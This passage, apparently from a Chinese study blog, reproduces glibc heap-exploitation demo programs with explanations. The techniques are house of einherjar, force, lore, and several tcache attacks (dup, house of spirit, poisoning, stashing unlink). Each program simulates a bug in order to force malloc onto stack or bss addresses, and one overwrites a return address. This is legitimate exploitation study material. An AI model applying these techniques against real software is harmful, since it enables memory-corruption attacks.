("fd_nextsize: %#lx\n" , fake_chunk[4 ]); printf ("bk_nextsize: %#lx\n" , fake_chunk[5 ]); b = (uint8_t *) malloc (0xf8 ); int real_b_size = malloc_usable_size(b); printf ("\n再去申请 0xf8 chunk b.\n" ); printf ("chunk b 在: %p\n" , b); uint64_t * b_size_ptr = (uint64_t *)(b - 8 ); printf ("\nb 的 size: %#lx\n" , *b_size_ptr); printf ("b 的 大小是: 0x100,prev_inuse 有个 1,所以显示 0x101\n" ); printf ("假设有个 off by null 的漏洞,可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0\n" ); a[real_a_size] = 0 ; printf ("b 现在的 size: %#lx\n" , *b_size_ptr); printf ("\n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节,以便 chunk b 与我们的 fake chunk 的合并\n" , sizeof (size_t )); size_t fake_size = (size_t )((b-sizeof (size_t )*2 ) - (uint8_t *)fake_chunk); printf ("\n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lx\n" , b-sizeof (size_t )*2 , fake_chunk, fake_size); *(size_t *)&a[real_a_size-sizeof (size_t )] = fake_size; printf ("\n接下来要把 fake chunk 的 size 改掉,来通过 size(P) == prev_size(next_chunk(P)) 检查\n" ); fake_chunk[1 ] = fake_size; printf ("\nfree b,首先会跟 top chunk 合并,然后因为 b 的 prev_size 是 0,所以会跟前面的 fake chunk 合并,glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize)),这样算的话 b+fake_prev_size 得到 fake chunk 的地址,然后合并到 top chunk,新的 topchunk 的起点就是 fake chunk,再次申请就会从 top chunk 那里申请\n" ); free (b); printf ("现在 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n" , fake_chunk[1 ]); printf ("\n现在如果去 malloc,他就会申请到伪造的那个 chunk\n" ); d = malloc (0x200 ); printf ("malloc(0x200) 在 %p\n" , d); }
先在栈上伪造一个chunk(从presize到bk_nextsize全部填0x100),然后把第二个堆块的pre_inuse修改为0(与fake_chunk合并)。这里利用了寻找空闲块的函数
chunk_at_offset(p, -((long) prevsize))
所以只要presize位写成第二个 堆的地址 - fake_chunk的地址,这样识别出来的上一个空闲块的位置就是fake_chunk。
这里还要把fake_chunk的size位写为我们要修改的fake_size以通过检测
此时free 第二个堆块,它先与top_chunk合并,随后通过寻址找到fake_chunk与fake_chunk合并(此时top_chunk新地址为fake_chunk的地址)
这时候再申请一个新的堆块,就会从新的top_chunk开始切割,于是就申请到了栈上。
house_of_force 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> char bss_var[] = "This is a string that we want to overwrite." ;int main (int argc , char * argv[]) { fprintf (stderr , "\n欢迎学习 House of Force\n\n" ); fprintf (stderr , "House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址\n" ); fprintf (stderr , "top chunk 是一类特殊的 chunk,在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。\n" ); fprintf (stderr , "\n最后我们会覆盖这个变量 %p.\n" , bss_var); fprintf (stderr , "现在变量值是:%s\n" , bss_var); fprintf (stderr , "\n先分配一个 chunk.\n" ); intptr_t *p1 = malloc (256 ); fprintf (stderr , "malloc(256) 的地址: %p.\n" , p1 - 2 ); fprintf (stderr , "\n现在有两块,一个我们申请的,一个 top chunk.\n" ); int real_size = malloc_usable_size(p1); fprintf (stderr , "我们申请的 chunk 加上 chunk 头,大小是:%ld.\n" , real_size + sizeof (long )*2 ); fprintf (stderr , "\n现在假设有一个漏洞,可以覆盖掉 top chunk 的头部分\n" ); intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof (long )); fprintf (stderr , "\ntop chunk 起始地址是:%p\n" , ptr_top); fprintf (stderr , "\n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmap\n" ); fprintf (stderr , "top chunk 之前的 size:%#llx\n" , *((unsigned long long int *)((char *)ptr_top + sizeof (long )))); *(intptr_t *)((char *)ptr_top + sizeof (long )) = -1 ; fprintf (stderr , "top chunk 现在的 size:%#llx\n" , *((unsigned long long int *)((char *)ptr_top + sizeof (long )))); fprintf (stderr , "\n因为现在 top chunk 的 size 是很大的,所以我们可以调用 malloc 而不会调用 mmap\n" ); unsigned long evil_size = (unsigned long )bss_var - sizeof (long )*4 - (unsigned long )ptr_top; fprintf (stderr , "\n我们想把数据写在这里:%p, top chunk 在:%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.\n" , bss_var, ptr_top, evil_size); void *new_ptr = malloc (evil_size); fprintf (stderr , "新申请的 chunk 将会与之前的 top chunk 在同一个位置: %p\n" , new_ptr - sizeof (long )*2 ); void * ctr_chunk = malloc (100 ); fprintf (stderr , "\n接下来再申请 chunk 的话将会指向我们想要修改的地方\n" ); fprintf (stderr , "malloc(100) => %p!\n" , ctr_chunk); fprintf (stderr , "现在我们就可以控制 bss_var 这块地方的值了\n" ); fprintf (stderr , "... 之前内容是: %s\n" , bss_var); fprintf (stderr , "... 接下来把 \"YEAH!!!\" 写到那里...\n" ); strcpy (ctr_chunk, "YEAH!!!" ); fprintf (stderr , "... 新的内容: %s\n" , bss_var); }
先申请一个chunk去控制top_chunk的size位(改为0xffffffffffff),此时申请一个很大的chunk亦不会调用mmap。然后把去申请一个evil_size的大小的chunk,把top_chunk控制到bss_addr上(这个chunk与之前top_chunk处于同一位置),这个时候再一次申请一个chunk就能把chunk申请到目标地址上
evil_size=dest - old_top - 4*sizeof(long)=dest - old_top -0x20
house_of_lore 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> void jackpot () { fprintf (stderr , "Nice jump d00d\n" ); exit (0 ); }int main (int argc, char * argv[]) { intptr_t * stack_buffer_1[4 ] = {0 }; intptr_t * stack_buffer_2[3 ] = {0 }; fprintf (stderr , "定义了两个数组" ); fprintf (stderr , "stack_buffer_1 在 %p\n" , (void *)stack_buffer_1); fprintf (stderr , "stack_buffer_2 在 %p\n" , (void *)stack_buffer_2); intptr_t *victim = malloc (100 ); fprintf (stderr , "申请第一块属于 fastbin 的 chunk 在 %p\n" , victim); intptr_t *victim_chunk = victim-2 ; fprintf (stderr , "在栈上伪造一块 fake chunk\n" ); fprintf (stderr , "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n" ); stack_buffer_1[0 ] = 0 ; stack_buffer_1[1 ] = 0 ; stack_buffer_1[2 ] = victim_chunk; fprintf (stderr , "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针" ); stack_buffer_1[3 ] = (intptr_t *)stack_buffer_2; stack_buffer_2[2 ] = (intptr_t *)stack_buffer_1; void *p5 = malloc (1000 ); fprintf (stderr , "另外再分配一块,避免与 top chunk 合并 %p\n" , p5); fprintf (stderr , "Free victim chunk %p, 他会被插入到 fastbin 中\n" , victim); free ((void *)victim); fprintf (stderr , "\n此时 victim chunk 的 fd、bk 为零\n" ); fprintf (stderr , "victim->fd: %p\n" , (void *)victim[0 ]); fprintf (stderr , "victim->bk: %p\n\n" , (void *)victim[1 ]); fprintf (stderr , "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n" , victim); void *p2 = malloc (1200 ); fprintf (stderr , "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n" ); fprintf (stderr , "victim->fd: %p\n" , (void *)victim[0 ]); fprintf (stderr , "victim->bk: %p\n\n" , (void *)victim[1 ]); fprintf (stderr , "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n" ); victim[1 ] = (intptr_t )stack_buffer_1; fprintf (stderr , "然后申请跟第一个 chunk 大小一样的 chunk\n" ); fprintf (stderr , "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n" ); void *p3 = malloc (100 ); fprintf (stderr , "最后 malloc 一次会返回 victim->bk 指向的那里\n" ); char *p4 = malloc (100 ); fprintf (stderr , "p4 = malloc(100)\n" ); fprintf (stderr , "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n" ,stack_buffer_2[2 ]); fprintf (stderr , "\np4 在栈上 %p\n" , p4); intptr_t sc = (intptr_t )jackpot; memcpy ((p4+40 ), &sc, 8 ); }
先是在栈上伪造了两个chunk,p1的fd指向victim_chunk,bk指向p2,而p2的fd指向p1。(为了绕过small_bins的检测)
p1->fd=victim_chunk,p1->bk=p2,p2->fd=p1
随后申请了一块chunk防止合并,再去free victim_chunk。
这时申请一个比较大的chunk把victim_chunk放入small_bins(fd,bk都指向main_arean+88),然后利用漏洞去修改victim_chunk的bk指针为p1。
随后去申请一个与victim_chunk初始大小一样大的chunk就会把victim_chunk申请回来,再申请一次就把chunk申请到了p1的位置(此时p2的fd指针会指向main_arean+88,这是因为small_bins链表中只剩p2一个chunk)
glibc_2.27 tcache_dup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "先申请一块内存\n" ); int *a = malloc (8 ); fprintf (stderr , "申请的内存地址是: %p\n" , a); fprintf (stderr , "对这块内存地址 free两次\n" ); free (a); free (a); fprintf (stderr , "这时候链表是这样的 [ %p, %p ].\n" , a, a); fprintf (stderr , "接下来再去 malloc 两次: [ %p, %p ].\n" , malloc (8 ), malloc (8 )); fprintf (stderr , "ojbk\n" ); return 0 ; }
在2.27版本,tcache是没有double_free检测的,所以直接double_free就可以
tcache_house_of_spirit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> int main () { malloc (1 ); unsigned long long *a; unsigned long long fake_chunks[10 ]; fprintf (stderr , "fake_chunks[1] 在 %p\n" , &fake_chunks[1 ]); fprintf (stderr , "fake_chunks[1] 改成 0x40 \n" ); fake_chunks[1 ] = 0x40 ; fprintf (stderr , "把 fake_chunks[2] 的地址赋给 a, %p.\n" , &fake_chunks[2 ]); a = &fake_chunks[2 ]; fprintf (stderr , "free 掉 a\n" ); free (a); fprintf (stderr , "再去 malloc(0x30),在可以看到申请来的结果在: %p\n" , malloc (0x30 )); fprintf (stderr , "ojbk\n" ); }
相比与2.23版本下的house_of_spirit,在2.27版本下用tcache会更简单,直接去free fake_chunk再申请回来就可以(仅仅需要伪造一个size位)
tcache_poisoning 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <stdlib.h> #include <stdint.h> int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); size_t stack_var; printf ("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n" , (char *)&stack_var); printf ("接下来申请两个 chunk\n" ); intptr_t *a = malloc (128 ); printf ("chunk a 在: %p\n" , a); intptr_t *b = malloc (128 ); printf ("chunk b 在: %p\n" , b); printf ("free 掉这两个 chunk\n" ); free (a); free (b); printf ("现在 tcache 那个链表是这样的 [ %p -> %p ].\n" , b, a); printf ("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p" , b, sizeof (intptr_t ), &stack_var); b[0 ] = (intptr_t )&stack_var; printf ("现在 tcache 链表是这样的 [ %p -> %p ].\n" , b, &stack_var); printf ("然后一次 malloc : %p\n" , malloc (128 )); printf ("现在 tcache 链表是这样的 [ %p ].\n" , &stack_var); intptr_t *c = malloc (128 ); printf ("第二次 malloc: %p\n" , c); printf ("ojbk\n" ); return 0 ; }
先申请两个chunk然后释放,把第二个chunk的fd修改为要malloc到的地址,然后malloc两次就好了
tcache_stashing_unlink_attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <stdio.h> #include <stdlib.h> int main () { unsigned long stack_var[0x10 ] = {0 }; unsigned long *chunk_lis[0x10 ] = {0 }; unsigned long *target; unsigned long *pp; fprintf (stderr , "stack_var 是我们希望分配到的地址,我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin(即 fake chunk->bk 应该是一个可写的地址)\n" ); stack_var[3 ] = (unsigned long )(&stack_var[2 ]); fprintf (stderr , "修改之后 fake_chunk->bk 是:%p\n" ,(void *)stack_var[3 ]); fprintf (stderr , "stack_var[4] 的初始值是:%p\n" ,(void *)stack_var[4 ]); fprintf (stderr , "现在申请 9 个 0x90 的 chunk\n" ); for (int i = 0 ;i < 9 ;i++){ chunk_lis[i] = (unsigned long *)malloc (0x90 ); } fprintf (stderr , "先释放 6 个,这 6 个都会放到 tcache 里面\n" ); for (int i = 3 ;i < 9 ;i++){ free (chunk_lis[i]); } fprintf (stderr , "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的,后面的都会放到 unsortedbin 中\n" ); free (chunk_lis[1 ]); free (chunk_lis[0 ]); free (chunk_lis[2 ]); fprintf (stderr , "接下来申请一个大于 0x90 的 chunk,chunk0 和 chunk2 都会被整理到 smallbin 中\n" ); malloc (0xa0 ); fprintf (stderr , "然后再去从 tcache 中申请两个 0x90 大小的 chunk\n" ); malloc (0x90 ); malloc (0x90 ); fprintf (stderr , "假设有个漏洞,可以把 victim->bk 的指针改写成 fake_chunk 的地址: %p\n" ,(void *)stack_var); chunk_lis[2 ][1 ] = (unsigned long )stack_var; fprintf (stderr , "现在 calloc 申请一个 0x90 大小的 chunk,他会把一个 smallbin 里的 chunk0 返回给我们,另一个 smallbin 的 chunk2 将会与 tcache 相连.\n" ); pp = calloc (1 ,0x90 ); fprintf (stderr , "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中,它的 fd 指针现在指向下一个空闲的块: %p, bck->fd 已经变成了 libc 的地址: %p\n" ,(void *)stack_var[2 ],(void *)stack_var[4 ]); target = malloc (0x90 ); fprintf (stderr , "再次 malloc 0x90 可以看到申请到了 fake_chunk: %p\n" ,(void *)target); fprintf (stderr , "ojbk\n" ); return 0 ; }
先让fake_chunk的fd指向bk绕过检测,然后申请9个chunk,free6个填满tcache_bins,然后依次释放p1,p0,p2。这里0和2会进入unsorted_bins
tcache_bins:p8->p7->p6->p5->p4->p3
接着申请一个大于0x90的chunk把p0和p2整理到small_bins,然后从tcache申请2个0x90的chunk
tcache_bins:p6->p5->p4->p3
small_bins:2->0
然后把p2的bk改为fake_chunk的地址,然后去calloc p0,此时p2就连到了tcache上
tcache_bins:fake_chunk->p2->p6->p5->p4->p3
此时fake_chunk的下一个空闲块为fake_chunk的fd,fake_chunk[4]变为libc地址
再申请一次就申请到了fake_chunk